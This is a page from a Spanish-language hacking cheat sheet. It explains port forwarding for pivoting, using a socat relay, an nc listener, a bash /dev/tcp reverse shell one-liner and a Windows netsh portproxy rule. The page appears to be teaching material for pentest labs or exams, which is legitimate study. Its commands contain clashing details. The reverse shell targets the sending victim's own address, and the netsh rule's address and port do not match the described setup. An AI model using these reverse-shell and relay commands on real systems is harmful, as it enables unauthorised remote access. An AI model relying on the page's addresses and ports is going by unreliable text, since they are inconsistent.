Cheat Sheet Hacking
  • 🌐Generic Ideas
    • File Transfer
    • Reverse Shell
    • Cracking Tricks
    • Tunneling and Port Forwarding
    • Reversing
    • OSINT
    • Phishing
  • 🐕‍🦺Port enumeration
    • Reconnaissance
    • 53 - DNS
    • 80,443 - Web
      • Identify php.ini file used
      • Exploitation
        • File Upload
        • XXS
    • 445 - SMB
    • 389, 636, 3268 - LDAP(S)
  • LINUX THINGS
    • Enumeration
    • Privilege Escalation
      • Writable $PATH
  • WINDOWS THINGS
    • Enumeration
    • Useful Commands
    • Active Directory Methodology
      • Commands to create AD environment
      • Attacks
        • Kerberos
          • User enumeration
          • ASREP-Roast
          • Kerberoasting
          • ASREP-Roast VS Kerberoasting
          • Golden Ticket
          • Resource Based Constrained Delegation
        • Secrets dump
        • Pass The Hash
        • Dump NTDS
        • Tickets
          • TGT
        • NTML Password Spray
        • LDAP Authentication
          • LDAP Pass-back
          • Rogue LDAP Server
        • SMB Relay (LLNMR, NTB-NS & WPAD)
        • NTLM Relay
        • Tools to exploit AD things
        • SCF Files
      • Kerberos
      • SAM & LSA secrets
      • Enumeration
        • BloodHound
        • PowerView
          • CheatSheet of Commands
        • Set DNS & DOMAIN
      • Resources
      • RunAs
      • Post Explotation
        • Persistence
        • Mimikatz
      • Common used tools
  • 🕳️Pivoting
    • Port Forwarding
    • Socks Forwarding
    • Routing
    • Web Fuzzing
    • Transfer files
    • Metasploit
      • Single Pivot
      • Double Pivot
    • Burp Suite
  • 🎛️Hardware
    • Physical attacks
  • 🌕Buffer Overflow
    • Introduction
    • Stack-Based
      • Introduction
        • Spiking
        • Fuzzing
        • Find Offset
        • Overwrite EIP
        • Find module
        • Find Badchars
        • Shellcode
  • 🐳Docker
    • Commands
    • Practical examples
  • 💡Useful things
    • Burp Suite
      • Proxy Activation
    • Linux Commands
    • Recreate multipart/form-data request
      • Python
      • HTML & netcat
    • TTY
    • Templates for reports (exams)
    • Tmux
    • Other cheat sheets
Powered by GitBook
On this page
  • Socat (Linux)
  • netsh (Windows)
  1. Pivoting

Port Forwarding

Socat (Linux)

Si necesitamos reenviar el trafico que llega a un puerto hacia otra máquina con la que tengas conexión, puedes usar socat.

Tenemos dos máquinas víctima Linux y la de atacante, queremos obtener una reverse shell desde Victima2 a Atacante, pero Victima2 solo tiene conexión con Victima1, para eso usamos el redireccionamiento de puertos.

  • Atacante: 192.168.20.4

  • Victima1: 192.168.20.5 & 172.18.100.15

  • Victima2: 172.18.100.16

En Victima1 ejecutamos socat:

socat TCP-LISTEN:4455,fork TCP:192.168.20.4:4433

Le estamos indicando que toda conexión que llegue contra el puerto 4455 sea redirigida hacia el puerto 4433 de la dirección IP 192.168.20.4 (Atacante), levantemos ese puerto:

nc -lvp 4433

Y enviemos la shell desde Victima2 a Victima1:

bash -c 'bash -i >& /dev/tcp/172.18.100.16/4455 0>&1'

Listos, recibiría la petición al puerto 4455 y reenviaría ese contenido a 192.168.20.4:4433

netsh (Windows)

Imagina el mismo escenario de arriba, pero ahora Victima1 está corriendo el sistema operativo Windows, básicamente es lo mismo, solo que en lugar de socat usamos netsh:

netsh interface portproxy add v4tov4 listenaddress=172.18.100.16 listenport=4455 connectaddress=192.168.20.4 connectport=4455

Pueda que el comando no genere ningún output y pareciera que no se ejecutó, pero podemos validar la conexión ejecutando:

netsh interface portproxy show v4tov4

Y listones, nos pondriamos en escucha desde Atacante por el puerto 4433 y luego, desde Victima2 enviariamos la conexión con una reverse shell hacia Victima1 por el puerto 4455.

PreviousCommon used toolsNextSocks Forwarding

Last updated 5 months ago

🕳️